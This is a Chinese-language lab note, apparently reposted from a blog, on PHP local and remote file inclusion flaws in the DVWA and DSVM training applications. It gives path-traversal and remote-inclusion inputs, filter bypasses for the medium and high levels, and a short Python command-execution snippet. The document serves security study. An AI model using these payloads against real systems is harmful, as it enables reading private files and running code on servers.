文件包含-笔记

以PHP为例 就可以使用 include     require 来进行文件包含操作。目的是引用其他的文件、代码。
 
当文件包含函数的参数用户可控是可以引用恶意代码。
 
DVWA_1.9此漏洞模块需要开启 allow_url_include功能。
PHPstudy开启功能位置:其他选项菜单-php扩展及设置-参数开关设置-allow_url_include勾选即可。
 
图片
观察网页发现几个file1.php file2.php file3.php的URL区别仅为 page后跟的参数不同。
 
图片
通过使用test.php 尝试后报错。可以发现服务器尝试查找test.php文件,此参数可控。另外报错爆出此页面的绝对路径。
 
 
LOW
图片
使用 ../../php.ini 读取文件内容
 
使用  ../../phpinfo.php 执行相应php代码
 
使用  http://127.0.0.1/phpinfo.txt 执行远程代码文件
非php文件内包含php代码也可以执行
 
使用  http://127.0.0.1/phpinfo.php 代码在攻击者的web服务器上执行了 与我们的期望不服,所以
使用  http://127.0.0.1/phpinfo.txt才能达到我们想要的执行远程代码文件的目的。
 
medium.
....php.ini 读取文件内容
hthttp://tp://127.0.0.1/phpinfo.txt  执行远程代码文件
 
high
发现 page只接受file开头的字符串作为参数。
使用file://本地文件传送协议即可绕过 读取本地文件
file:///C:phpStudyWWWphpinfo.txt
 
由于file://无法读取远程文件所以需要配合文件上传漏洞来执行恶意代码
 
 
DSVM
图片
注意DSVM系统是python编写的,远程文件包含的代码也必须是python的,不熟悉python代码的同学可以使用下面的示例:
import os
output = os.popen('ipconfig')
print output.read()
将其命名成cmd.txt
 
原文地址:https://www.cnblogs.com/enderzhou/p/6884523.html